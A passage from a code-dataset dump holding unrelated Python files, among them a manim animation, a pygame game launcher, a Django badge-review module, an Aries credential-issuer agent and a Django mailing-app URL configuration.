\"x\",\"+\",\"1\",\"\\\\quad\\\\quad\",\"(\", \"2\",\")\"\r\n #0 1 2 3 4 5 6 \r\n )\r\n trans1_b.scale(.85)\r\n trans1_b.set_color(\"#C9FF00\") \r\n trans1_b.next_to(trans1_a,DOWN,buff=.4)\r\n self.play(\r\n\t\t\tReplacementTransform(trans1_a[0].copy(),trans1_b[4]),\r\n ReplacementTransform(trans1_a[4:7].copy(),trans1_b[0:3]),\r\n ReplacementTransform(trans1_a[7].copy(),trans1_b[5]),\r\n ReplacementTransform(trans1_a[8].copy(),trans1_b[6])\r\n\t\t)\r\n\r\n self.wait(2)\r\n result1.set_color(\"#C9FF00\")\r\n result1.move_to(trans1_b.get_center())\r\n self.play(ReplacementTransform(trans1_b,result1))\r\n self.wait(2)\r\n\r\n auxx = TexMobject(r\"{ (3) }^{ 2 }\")\r\n auxx.scale(.85)\r\n auxx.set_color(\"#FF7000\") #NARANJA\r\n auxx[1].set_color(\"#C9FF00\")\r\n auxx.next_to(trans1,DOWN,buff=.4)\r\n \r\n self.play(\r\n FadeOut(result1),\r\n ReplacementTransform(trans1_a,auxx)\r\n )\r\n \r\n self.wait(2)\r\n result2.set_color(\"#FF7000\")\r\n result2.next_to(trans1,DOWN,buff=.45)\r\n\r\n self.play(\r\n Transform(auxx,result2)\r\n )\r\n\r\n self.wait(2)\r\n result.set_color(WHITE)\r\n result2.move_to(trans1.get_center())\r\n result2.set_color(WHITE)\r\n\r\n self.play(\r\n FadeOut(auxx),\r\n Transform(trans1,result3)\r\n )\r\n self.wait(3)","sub_path":"ordenormal.py","file_name":"ordenormal.py","file_ext":"py","file_size_in_byte":6743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"313323565","text":"import pygame\n\nfrom settings import Settings\nfrom ship import Ship\nfrom buggers import Bugger\nimport game_functions as gf\n\n\ndef run_game():\n pygame.init()\n ai_settings = Settings()\n screen = pygame.display.set_mode((\n ai_settings.screen_width,\n ai_settings.screen_height\n ))\n\n screen.blit(ai_settings.background, (0, 0))\n pygame.display.set_caption(\"Ender's Game\")\n\n ship = Ship(screen)\n swarm = gf.create_swarm(screen, ai_settings)\n\n while True:\n gf.check_events(ship)\n ship.update(ai_settings)\n gf.update_swarm(swarm, ai_settings, ship)\n gf.update_screen(ai_settings, screen, ship, swarm)\n\n\n\nif __name__ == \"__main__\":\n run_game()\n","sub_path":"enders_game.py","file_name":"enders_game.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"172024579","text":"from voting_rule import voting_rules\r\nfrom voting_rule import learn_voting_rules\r\nfrom voting_rule import events_likelyhood\r\nfrom voting_rule import labeling\r\nfrom machine_learning import KNN\r\nfrom machine_learning import SVM\r\nfrom fair import fairness\r\nfrom criterias import criteria_satisfaction\r\nfrom data import data_generator\r\nfrom criterias import criteria_satisfaction\r\nfrom sklearn.model_selection import train_test_split\r\nimport random\r\nimport pickle\r\nimport contextlib\r\nimport io\r\nimport sys\r\nimport time\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom active import active_learning\r\nfrom active import generate_by_axioms\r\n\r\nif __name__ == \"__main__\":\r\n\r\n candidates = ['a','b','c']\r\n params = {'objective':'multi:softprob', 'max_depth' :15,'n_estimators':30, 'num_class':len(candidates)}\r\n #params = {'objective':'multi:softprob', 'max_depth' :10, 'n_estimators':30,'num_class':len(candidates)}\r\n #params = {'max_depth': 2, 'objective': 'multi:softprob','num_class':len(candidates)}\r\n \r\n with open(\"pf.txt\", \"rb\") as fp: # Unpickling\r\n preference_profiles = pickle.load(fp)\r\n with open(\"test_pf.txt\", \"rb\") as fp: # Unpickling\r\n preference_profiles_test = pickle.load(fp)\r\n Xs_test = labeling.get_Xs(candidates,preference_profiles_test)\r\n labels_test = labeling.get_labels(candidates,preference_profiles_test,voting_rules.voting_rule2A)\r\n total_Xs =[]\r\n total_labels = []\r\n size = 1\r\n select_from_pool_size = 20\r\n num_data = []\r\n accuracies = []\r\n for i in range(100):\r\n if i == 0:\r\n new_pfs = preference_profiles[0:10]\r\n new_labels = labeling.get_labels(candidates,new_pfs,voting_rules.voting_rule2A)\r\n else:\r\n new_labels = []\r\n new_pfs = []\r\n select_from_pool = []\r\n for k in range(select_from_pool_size):\r\n select_from_pool.append(random.choice(preference_profiles))\r\n for j in range(size):\r\n pf = active_learning.choose_pf(candidates,select_from_pool,'model3',no_group = 1)\r\n winner = candidates[labeling.get_labels(candidates,[pf],voting_rules.voting_rule2A)[0]]#pretend this is the winner labeled by the expert\r\n pfs,winners = active_learning.generate_by_axiom(candidates,pf,generate_by_axioms.generate_by_neutrality,0,winner)\r\n #pfs = [pf]\r\n #winners = [winner]\r\n labels = labeling.winners_to_labels(candidates,winners)\r\n preference_profiles.remove(pf)\r\n select_from_pool.remove(pf)\r\n new_pfs.extend(pfs)\r\n new_labels.extend(labels)\r\n #print(pf) \r\n total_labels.extend(new_labels) \r\n new_Xs = labeling.get_Xs(candidates,new_pfs)\r\n total_Xs.extend(new_Xs)\r\n print(len(total_Xs))\r\n print(len(total_labels))\r\n #print(\"added Xs: \",Xs)\r\n #print(\"added Labels: \",labels)\r\n if i == 0:\r\n active_learning.initialize_model(np.array(new_Xs),np.array(new_labels),params,'model3')\r\n else:\r\n active_learning.initialize_model(np.array(total_Xs),np.array(total_labels),params,'model3')\r\n #active_learning.update_model(np.array(new_Xs),np.array(new_labels),params,'model2')\r\n active_learning.prediction_accuracy(np.array(total_Xs),np.array(total_labels),'model3')\r\n accuracies.append(active_learning.prediction_accuracy(np.array(Xs_test),np.array(labels_test),'model3'))\r\n num_data.append(i*size)\r\n\r\n with open(\"n3.txt\", \"wb\") as fp: #Pickling\r\n pickle.dump(num_data, fp)\r\n with open(\"a3.txt\", \"wb\") as fp: #Pickling\r\n pickle.dump(accuracies, fp)","sub_path":"main_active1.py","file_name":"main_active1.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"311672384","text":"from project.db import Project\nfrom project.db import Revision\nfrom project.db import Feedback\nfrom datetime import datetime\n\nfrom badge import models as badge_api\nfrom project.notification_helpers import send_project_creation_notification\nfrom project.notification_helpers import send_project_creation_expert_notification\nfrom project.notification_helpers import send_feedback_notification\nfrom project.notification_helpers import send_revision_notification\n\n\nclass MultipleProjectError(Exception):\n pass\n\n\ndef uri2id(uri):\n return uri.strip('/').split('/')[-1]\n\n\ndef id2uri(id):\n return '/uri/project/{0}'.format(id)\n\n\ndef _project2dict(project_db):\n project = {\n 'id': project_db.id,\n 'uri': id2uri(project_db.id),\n 'title': project_db.title,\n 'image_uri': project_db.image_uri,\n 'work_url': project_db.work_url,\n 'description': project_db.description,\n 'reflection': project_db.reflection,\n 'tags': project_db.tags.split(','),\n 'badge_uri': project_db.badge_uri,\n 'author_uri': project_db.author_uri\n }\n return project\n\n\ndef create_project(badge_uri, author_uri, title, image_uri, work_url, description, reflection, tags):\n \n if Project.objects.filter(author_uri=author_uri, badge_uri=badge_uri, date_deleted__isnull=True).exists():\n raise MultipleProjectError('A user can only submit 1 project for a badge')\n\n badge = badge_api.get_badge(badge_uri)\n\n if author_uri in badge_api.get_badge_experts(badge_uri):\n raise Exception(u'Badge {0} already awarded to user'.format(badge_uri))\n\n if isinstance(tags, list):\n tags = ','.join(tags)\n\n project_db = Project(\n title=title,\n image_uri=image_uri,\n work_url=work_url,\n description=description,\n reflection=reflection,\n tags=tags,\n badge_uri=badge_uri,\n author_uri=author_uri,\n date_created=datetime.utcnow(),\n date_updated=datetime.utcnow()\n )\n project_db.save()\n\n project = get_project(id2uri(project_db.id))\n\n send_project_creation_notification(project)\n experts = badge_api.get_badge_experts(project['badge_uri'])\n send_project_creation_expert_notification(project, badge, experts)\n return project\n\n\ndef get_project(uri):\n project_db = Project.objects.get(id=uri2id(uri))\n if not project_db.date_deleted == None:\n raise Exception('Project deleted')\n\n return _project2dict(project_db)\n\n\ndef get_projects():\n projects = Project.objects.filter(date_deleted__isnull=True)\n return [_project2dict(project) for project in projects]\n\n\ndef search_projects(badge_uri=None, author_uri=None):\n projects = Project.objects.filter(date_deleted__isnull=True)\n if badge_uri:\n projects = projects.filter(badge_uri=badge_uri)\n if author_uri:\n projects = projects.filter(author_uri=author_uri)\n return [_project2dict(project) for project in projects]\n\n\ndef get_projects_ready_for_feedback(badge_uri):\n projects = Project.objects.filter(date_deleted__isnull=True)\n projects = projects.filter(badge_uri=badge_uri)\n projects = [_project2dict(project) for project in projects if ready_for_feedback(id2uri(project.id))]\n return projects\n\n\ndef can_revise_project(project_uri):\n project=Project.objects.get(id=uri2id(project_uri))\n\n last_revision = None\n if project.revision_set.count() > 0:\n last_revision = project.revision_set.latest('date_created')\n last_feedback = None\n if project.feedback_set.count() > 0:\n last_feedback = project.feedback_set.latest('date_created')\n\n if not last_feedback or last_revision and last_revision.date_created > last_feedback.date_created:\n return False\n if last_feedback and last_feedback.badge_awarded:\n return False\n return True\n\n\ndef revise_project(project_uri, improvement, work_url=None):\n project=Project.objects.get(id=uri2id(project_uri))\n\n if not can_revise_project(project_uri):\n raise Exception('Cannot submit a revison before receiving a review')\n \n last_feedback = None\n if project.feedback_set.count() > 0:\n last_feedback = project.feedback_set.latest('date_created')\n\n revision = Revision(\n project=project,\n improvement=improvement,\n date_created=datetime.utcnow()\n )\n if work_url:\n revision.work_url = work_url\n revision.save()\n\n send_revision_notification(\n get_project(project_uri),\n [last_feedback.expert_uri]\n )\n\n\ndef ready_for_feedback(project_uri):\n \"\"\" check if this is the right time in the cycle for an expert to give feedback \"\"\"\n project=Project.objects.get(id=uri2id(project_uri))\n\n last_revision = None\n if project.revision_set.count() > 0:\n last_revision = project.revision_set.latest('date_created')\n last_feedback = None\n if project.feedback_set.count() > 0:\n last_feedback = project.feedback_set.latest('date_created')\n\n if last_feedback:\n if last_feedback.badge_awarded:\n return False\n if not last_revision or last_feedback.date_created > last_revision.date_created:\n return False\n return True\n\n\ndef submit_feedback(project_uri, expert_uri, good, bad, ugly, badge_awarded=False):\n project=Project.objects.get(id=uri2id(project_uri))\n\n if not expert_uri in badge_api.get_badge_experts(project.badge_uri):\n raise Exception('Only experts can submit feedback on projects.')\n\n if not ready_for_feedback(project_uri):\n raise Exception('No revision submitted since last feedback.')\n\n feedback = Feedback(\n project=project,\n expert_uri=expert_uri,\n good=good,\n bad=bad,\n ugly=ugly,\n date_created=datetime.utcnow()\n )\n if badge_awarded:\n feedback.badge_awarded = True\n\n last_revision = None\n if project.revision_set.count() > 0:\n last_revision = project.revision_set.latest('date_created')\n\n if last_revision:\n feedback.revision = last_revision\n\n feedback.save()\n\n send_feedback_notification(get_project(project_uri))\n\n\ndef _revision2dict(revision):\n json = {\n 'improvement': revision.improvement,\n 'date_created': revision.date_created\n }\n if revision.work_url:\n json['work_url'] = revision.work_url\n return json\n\n\ndef _feedback2dict(feedback):\n json = {\n 'expert_uri': feedback.expert_uri,\n 'good': feedback.good,\n 'bad': feedback.bad,\n 'ugly': feedback.ugly,\n 'date_created': feedback.date_created\n }\n if feedback.badge_awarded:\n json['badge_awarded'] = True\n return json\n\n\ndef get_project_feedback(project_uri):\n feedback_revision = []\n\n project=Project.objects.get(id=uri2id(project_uri))\n\n for feedback in Feedback.objects.filter(project=project).order_by('date_created'):\n feedback_revision += [_feedback2dict(feedback)]\n\n for revision in Revision.objects.filter(project=project).order_by('date_created'):\n feedback_revision += [_revision2dict(revision)]\n\n keyfunc = lambda obj: obj['date_created']\n feedback_revision.sort(key=keyfunc)\n\n return feedback_revision\n\n\ndef get_badge_uri_from_project_under_revision(project_uri):\n project=Project.objects.get(id=uri2id(project_uri))\n\n if project.feedback_set.count() > 0:\n last_feedback = project.feedback_set.latest('date_created')\n if last_feedback and last_feedback.badge_awarded:\n return None\n return project.badge_uri\n\n\n\n","sub_path":"badges/project/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"638599924","text":"import os\nimport cv2\n\ndirname = os.path.dirname(__file__)\n\n\nclass DIP:\n def thresholding(self, img):\n\n b = img[:, :, 0].copy()\n g = img[:, :, 1].copy()\n r = img[:, :, 2].copy()\n\n out = 0.2126 * r + 0.7125 * g + 0.0722 * b\n\n out[out < 128] = 0\n out[out > 128] = 255\n\n return out\n\n\nif __name__ == '__main__':\n\n img = cv2.imread(os.path.join(dirname, '../imori.jpg'))\n dip = DIP()\n out = dip.thresholding(img)\n\n cv2.imwrite(os.path.join(dirname, 'imori_out5.jpg'), out)\n","sub_path":"Question_01_10/custom_py/5_todo.py","file_name":"5_todo.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"160032410","text":"#! /usr/bin/env python\n\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport time\nimport datetime\nimport data_helpers\nimport flags\nfrom text_cnn import TextCNN\nfrom tensorflow.contrib import learn\n\n# Parameters\n# ==================================================\nFLAGS = tf.flags.FLAGS\n\ndef preprocess():\n # Data Preparation\n # ==================================================\n\n # Load data\n print(\"Loading data...\")\n x_text, y = data_helpers.load_data_and_labels(FLAGS.positive_data_file, FLAGS.negative_data_file)\n # Build vocabulary\n max_document_length = max([len(x.split(\" \")) for x in x_text])\n vocab_processor = learn.preprocessing.VocabularyProcessor(max_document_length)\n vocab_size = len(vocab_processor.vocabulary_)\n x = np.array(list(vocab_processor.fit_transform(x_text)))\n # Write vocabulary\n #vocab_processor.save(os.path.join(out_dir, \"vocab\"))\n print(\"Building Embedded presentation...\")\n # Embedding layer\n W = tf.Variable(\n tf.random_uniform([vocab_size, FLAGS.embedding_dim], -1.0, 1.0), name=\"W\")\n embedded_chars = tf.nn.embedding_lookup(W, x)\n with tf.Session() as session:\n session.run(tf.global_variables_initializer()) # reset values to wrong\n x = session.run(embedded_chars)\n print(\"Done.\")\n return x, y\n\ndef main(argv=None):\n x, y = preprocess()\n np.savez(FLAGS.data_file, x=x, y=y)\n\nif __name__ == '__main__':\n tf.app.run()","sub_path":"vocab_process_stub.py","file_name":"vocab_process_stub.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"294660341","text":"import pickle\nfrom athletelist import AthleteList\n\ndef get_coach_data(filename):\n try:\n with open(filename) as f:\n data=f.readline()\n templ=data.strip().split(',')\n return(AthleteList(templ.pop(0),templ.pop(0),templ))\n except IOError as ioerr:\n print('File error: ' + str(ioerr))\n return(None)\n\ndef put_to_store(files_list):\n all_athletes={}\n for each_file in files_list:\n ath=get_coach_data(each_file)\n all_athletes[ath.name]=ath\n try:\n with open('athletes.pickle','wb') as athf:\n pickle.dump(all_athletes, athf)\n except IOError as ioerr:\n print('File error (put_and_store):' + str(ioerr))\n return(all_athletes)\n\ndef get_from_store():\n all_athletes={}\n try:\n with open('athletes.pickle','rb') as athf:\n all_athletes=pickle.load(athf)\n except IOError as ioerr:\n print('File error (get_from_store):' + str(ioerr))\n return(all_athletes)\n\nthe_files=['21.txt','22.txt','23.txt','24.txt']\ndata=put_to_store(the_files)\nprint(data)\nprint('================put_to_store==================')\nfor each_athlete in data:\n #print(data[each_athlete].name + ' ' + data[each_athlete].dob + ' ' + str(data[each_athlete].times))\n print(data[each_athlete].name + ' ' + data[each_athlete].dob + ' ' + str(data[each_athlete].top3()))\nprint('================get_from_store==================')\ndata_copy = get_from_store()\nfor each_athlete in data_copy:\n #print(data_copy[each_athlete].name + ' ' + data_copy[each_athlete].dob + ' ' + str(data_copy[each_athlete].times))\n print(data_copy[each_athlete].name + ' ' + data_copy[each_athlete].dob + ' ' + str(data_copy[each_athlete].top3()))\n","sub_path":"python/Head+First+Python/nester/athletemodel.py","file_name":"athletemodel.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"291619106","text":"import re\nimport numpy as np\nimport pandas as pd\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.metrics import accuracy_score\n\ndef get_meta_classifier():\n classifier = OneVsRestClassifier(LogisticRegression( C=1000000.0, penalty='l2', solver='sag' ))\n return classifier\n\ndef get_oof(clf, x_train, y_train, x_test):\n oof_train = np.zeros((ntrain,))\n oof_test = np.zeros((ntest,))\n oof_test_skf = np.empty((NFOLDS, ntest))\n\n for i, (train_index, test_index) in enumerate(kf.split(x_train)):\n x_tr = x_train[train_index]\n y_tr = y_train[train_index]\n x_te = x_train[test_index]\n\n clf.fit(x_tr, y_tr)\n\n oof_train[test_index] = clf.predict(x_te)\n oof_test_skf[i, :] = clf.predict(x_test)\n\n oof_test[:] = oof_test_skf.mean(axis=0)\n return oof_train.reshape(-1, 1), oof_test.reshape(-1, 1)\n\ndef get_oof_with_probability(clf, x_train, y_train, x_test, ntrain, ntest):\n oof_train = np.zeros((ntrain,3))\n oof_test = np.zeros((ntest,3))\n oof_test_skf = np.empty((NFOLDS, ntest,3))\n\n for i, (train_index, test_index) in enumerate(kf.split(x_train)):\n x_tr = x_train[train_index]\n y_tr = y_train[train_index]\n x_te = x_train[test_index]\n\n clf.fit(x_tr, y_tr.ravel())\n\n oof_train[test_index] = clf.predict_proba(x_te)\n oof_test_skf[i, :] = clf.predict_proba(x_test)\n\n oof_test[:] = oof_test_skf.mean(axis=0)\n return oof_train.reshape(-1, 3), oof_test.reshape(-1, 3)\n","sub_path":"experiment_4.5.2_no_datapool/experiment_yahoo/submodules/ensemble_module.py","file_name":"ensemble_module.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"503453449","text":"# ************Edited Beginning************\n# File created for Yale research\n# by Ashlin, Minto, Athul Antony\n# This file is for communicating with the credential issuer UI \n# ************Edited End******************\nimport argparse\nimport asyncio\nimport json\nimport random\nimport logging\nimport os\nimport sys\nfrom uuid import uuid4\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) # noqa\nfrom aiohttp import web, ClientSession, DummyCookieJar\nfrom aiohttp_apispec import docs, response_schema, setup_aiohttp_apispec\nimport aiohttp_cors\nfrom runners.support.agent import DemoAgent, default_genesis_txns\nfrom runners.support.utils import (\n log_json,\n log_msg,\n log_status,\n log_timer,\n prompt,\n prompt_loop,\n require_indy,\n)\n\nLOGGER = logging.getLogger(__name__)\n\nagent = None\nissue_message = None\ntemp_conn_id = None\ncredDefIdList = []\nconnection_list = []\n\nclass CredentialIssuerAgent(DemoAgent):\n def __init__(self, http_port: int, admin_port: int, **kwargs):\n super().__init__(\n \"CredentialIssuer Agent\",\n http_port,\n admin_port,\n prefix=\"CredentialIssuer\",\n extra_args=[\"--auto-accept-invites\", \"--auto-accept-requests\"],\n **kwargs,\n )\n self.connection_id = None\n self._connection_ready=None\n self.cred_state = {}\n self.cred_attrs = {}\n\n async def detect_connection(self):\n await self._connection_ready\n\n @property\n def connection_ready(self):\n return self._connection_ready.done() and self._connection_ready.result()\n\n async def handle_connections(self, message):\n global connection_list\n if message[\"connection_id\"] == self.connection_id:\n if message[\"state\"] == \"active\" and not self._connection_ready.done():\n self.log(\"Connected\")\n self.log(\"========================\")\n self.log(message)\n connection_list.append({\n \"their_label\" : message['their_label'],\n \"connection_id\" : message['connection_id']\n })\n self.log(\"========================\")\n self._connection_ready.set_result(True)\n # Sending a message requesting the verkey and did\n # Start here\n msg= {\n \"status\" : \"Requesting verkey and did\"\n }\n log_status(\"Putting did and verkey into the ledger\")\n await agent.admin_POST(\n f\"/connections/{self.connection_id}/send-message\",\n {\"content\": json.dumps(msg)},\n )\n # Sending a message requesting the verkey and did\n # Ends here\n\n async def handle_issue_credential(self, message):\n global issue_message\n issue_message = message\n\n async def handle_basicmessages(self, message):\n try:\n # Putting the verkey using did into the ledger\n # Start here\n msg=json.loads(message[\"content\"])\n if \"status\" in msg:\n if msg['status'] == \"Sending verkey and did\":\n await putKeyToLedger(msg['signing_did'], msg['signing_vk'])\n except:\n self.log(\"Received message:\", message[\"content\"])\n # Putting the verkey using did into the ledger\n # Ends here\n\nasync def handle_create_invitation(request):\n global agent\n connection = await agent.admin_POST(\"/connections/create-invitation\")\n agent._connection_ready=asyncio.Future()\n agent.connection_id = connection[\"connection_id\"]\n log_msg(\"Invitation has been created !!\")\n return web.json_response(connection[\"invitation\"])\n\nasync def handle_create_schema_credential_definition(request):\n global agent\n global credDefIdList\n data = await request.json()\n # Check if data is empty or has the values\n if \"schema_name\" not in data:\n return web.json_response({\"status\" : \"Schema name needed\"})\n if \"attributes\" not in data:\n return web.json_response({\"status\" : \"Attributes needed\"})\n # Schema name and attributes input validation\n if data['schema_name']=='' or data['schema_name']==None:\n return web.json_response({\"status\" : \"Enter a valid schema name\"})\n if data['attributes']=='' or data['attributes']==None:\n return web.json_response({\"status\" : \"Enter valid attibutes\"})\n\n schema_name = data['schema_name']\n attr_list = [element.strip(' ') for element in data['attributes'].split(\",\")]\n\n version = format(\n \"%d.%d.%d\"\n % (\n random.randint(1, 101),\n random.randint(1, 101),\n random.randint(1, 101),\n )\n )\n \n (schema_id, credential_definition_id) = await agent.register_schema_and_creddef(\n schema_name, version, attr_list\n )\n\n log_msg(\"schema has been created !!\")\n log_msg(\"Schema and Credential definition has been created !!\")\n log_msg(\"Schema id : \", schema_id)\n log_msg(\"Credential definition id : \", credential_definition_id)\n\n credDefIdList.append({\n \"schema_name\" : schema_name,\n \"credential_definition_id\" : credential_definition_id,\n \"attr_list\" : attr_list,\n })\n\n return web.json_response({\n \"schema_id\" : schema_id,\n \"credential_definition_id\" : credential_definition_id\n })\n\nasync def handle_send_credential_offer(request):\n global agent\n global temp_conn_id\n CRED_PREVIEW_TYPE = (\"did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/issue-credential/1.0/credential-preview\")\n data = await request.json()\n\n # Check if data is empty\n if 'credential_definition_id' not in data:\n return web.json_response({\"status\" : \"Credential definition id needed\"})\n if 'attr_data' not in data:\n return web.json_response({\"status\" : \"Attribute data needed\"})\n if 'connection_id' not in data:\n return web.json_response({\"status\" : \"Connection id needed\"})\n # Credential definition id, Attributes, Connection id input validation\n if data['credential_definition_id']=='' or data['credential_definition_id']==None:\n return web.json_response({\"status\" : \"Enter a valid credential definition id\"})\n if data['attr_data']=='' or data['attr_data']==None:\n return web.json_response({\"status\" : \"Enter valid attibutes\"})\n if data['connection_id']=='' or data['connection_id']==None:\n return web.json_response({\"status\" : \"Enter a valid connection id\"})\n\n credential_definition_id = data['credential_definition_id']\n attr_data = data['attr_data']\n agent.cred_attrs[credential_definition_id] = attr_data\n agent.connection_id = data[\"connection_id\"]\n\n temp_conn_id = agent.connection_id\n\n cred_preview = {\n \"@type\": CRED_PREVIEW_TYPE,\n \"attributes\": [\n {\"name\": n, \"value\": v}\n for (n, v) in agent.cred_attrs[credential_definition_id].items()\n ],\n }\n\n offer_request = {\n \"connection_id\": agent.connection_id,\n \"cred_def_id\": credential_definition_id,\n \"comment\": f\"Offer on cred def id {credential_definition_id}\",\n \"credential_preview\": cred_preview,\n }\n await agent.admin_POST(\"/issue-credential/send-offer\", offer_request)\n\n return web.json_response({\"status\" : True})\n\nasync def handle_issue_credential(request):\n global agent\n global issue_message\n global temp_conn_id\n\n CRED_PREVIEW_TYPE = (\"did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/issue-credential/1.0/credential-preview\")\n state = issue_message[\"state\"]\n credential_exchange_id = issue_message[\"credential_exchange_id\"]\n prev_state = agent.cred_state.get(credential_exchange_id)\n\n if prev_state == state:\n return # ignore\n agent.cred_state[credential_exchange_id] = state\n\n if state == \"request_received\":\n cred_attrs = agent.cred_attrs[issue_message[\"credential_definition_id\"]]\n cred_preview = {\n \"@type\": CRED_PREVIEW_TYPE,\n \"attributes\": [\n {\"name\": n, \"value\": v} for (n, v) in cred_attrs.items()\n ],\n } \n res = await agent.admin_POST(\n f\"/issue-credential/records/{credential_exchange_id}/issue\",\n {\n \"comment\": f\"Issuing credential, exchange {credential_exchange_id}\",\n \"credential_preview\": cred_preview,\n },\n )\n log_status(\"Credential has been issued!!\")\n log_msg(res['credential'])\n\n return web.json_response({\n \"status\" : True\n }\n )\n\nasync def handle_get_connection_list(request):\n global agent\n global connection_list\n log_status(\"Get connections has been called !!\")\n # connectionList = await agent.admin_GET(f\"/connections\")\n return web.json_response({\"connectionList\" : connection_list})\n\nasync def handle_get_cred_def_list(request):\n global credDefIdList\n return web.json_response({\"credDefIdList\" : credDefIdList})\n\nasync def putKeyToLedger(signing_did:str=None, signing_vk:str=None):\n log_status(\"++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n log_status(\"++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n log_status(\"Putting verification key to the ledger\")\n log_status(\"++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n log_status(\"++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n\n global agent\n\n res=await agent.admin_POST(\"/connections/put-key-ledger\", {\n \"did\" : agent.did,\n \"signing_did\" : signing_did,\n \"signing_vk\" : signing_vk\n })\n \n if res['status']==\"true\":\n log_status(\"++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n log_status(\"++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n log_status(\"Verification key has been put into the ledger!!\")\n log_status(\"++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n log_status(\"++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n return web.json_response({\"status\" : True})\n else:\n return web.json_response({\"status\" : False})\n\nasync def main(start_port: int, show_timing: bool = False):\n global agent\n genesis = await default_genesis_txns()\n agent = None\n if not genesis:\n print(\"Error retrieving ledger genesis transactions\")\n sys.exit(1)\n try:\n agent = CredentialIssuerAgent(\n start_port, start_port + 1, genesis_data=genesis, timing=show_timing\n )\n await agent.listen_webhooks(start_port + 2)\n await agent.register_did()\n with log_timer(\"Startup duration:\"):\n await agent.start_process()\n log_msg(\"Admin url is at:\", agent.admin_url)\n log_msg(\"Endpoint url is at:\", agent.endpoint)\n\n app = web.Application()\n\n app.add_routes([\n web.get('/create_invitation', handle_create_invitation),\n web.post('/create_schema_cred_def', handle_create_schema_credential_definition),\n web.post('/send_credential_offer', handle_send_credential_offer),\n web.get('/issue_credential', handle_issue_credential),\n web.get('/get_connection_list', handle_get_connection_list),\n web.get('/get_cred_def_list', handle_get_cred_def_list),\n ])\n\n cors = aiohttp_cors.setup(\n app,\n defaults={\n \"*\": aiohttp_cors.ResourceOptions(\n allow_credentials=True,\n expose_headers=\"*\",\n allow_headers=\"*\",\n allow_methods=\"*\",\n )\n },\n )\n for route in app.router.routes():\n cors.add(route)\n\n return app\n except Exception:\n print(\"Error when starting to run server!!\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Runs a CredentialIssuer demo agent.\")\n parser.add_argument(\n \"-p\", \"--port\", type=int, metavar=(\"\")\n )\n parser.add_argument(\n \"--timing\", action=\"store_true\"\n )\n args = parser.parse_args()\n require_indy()\n try:\n web.run_app(main(args.port, args.timing), host='0.0.0.0', port=(args.port+7))\n except KeyboardInterrupt:\n os._exit(1)\n\n\n\n\n","sub_path":"aries-cloudagent-python/demo/runners/ci.py","file_name":"ci.py","file_ext":"py","file_size_in_byte":12512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"18278922","text":"from django.urls import path, include\nfrom .views import templistview, templistview2, templistview3, tempdetailtview, tempcreatetview, tempupdatetview\nfrom . import views\nfrom django.contrib.auth import views as auth_views\n\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\n\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"webmail//\", views.webmail, name=\"webmail\"),\n path(\"register/\", views.register, name=\"register\"),\n path(\"dashboard/\", views.uprofile, name=\"profile\"),\n path(\"settings/\", views.settings, name=\"settings\"),\n path(\"login/\", auth_views.LoginView.as_view(template_name='login.html'), name=\"login\"),\n path(\"logout/\", auth_views.LogoutView.as_view(template_name='index.html'), name=\"logout\"),\n path(\"start/\", views.start, name=\"start\"),\n path(\"startspam/\", views.startspam, name=\"startspam\"),\n # path(\"stop/\", views.stop, name=\"stop\"),\n path(\"on/\", views.on, name=\"on\"),\n path(\"off/\", views.off, name=\"off\"),\n path(\"templates/\", templistview.as_view(), name=\"templist\"),\n path(\"templates2/\", templistview2.as_view(), name=\"templist2\"),\n path(\"templates3/\", templistview3.as_view(), name=\"templist3\"),\n path(\"templates//\", tempdetailtview.as_view(), name=\"tempdetail\"),\n path(\"templates/new\", tempcreatetview.as_view(), name=\"tempcreate\"),\n path(\"templates//update\", tempupdatetview.as_view(), name=\"tempupdate\"),\n path(\"maillist/\", views.maillist, name=\"maillist\"),\n path(\"maillistget/\", views.maillistget, name=\"maillistget\"),\n path(\"blacklist/\", views.blacklist, name=\"blacklist\"),\n path(\"blocking///\", views.blocking, name=\"blocking\"),\n path(\"sentlist/\", views.sentlist, name=\"sentlist\"),\n path(\"failedlist/\", views.failedlist, name=\"failedlist\"),\n path(\"waitinglist/\", views.waitinglist, name=\"waitinglist\"),\n \n] + static(settings.MEDIA_URL, 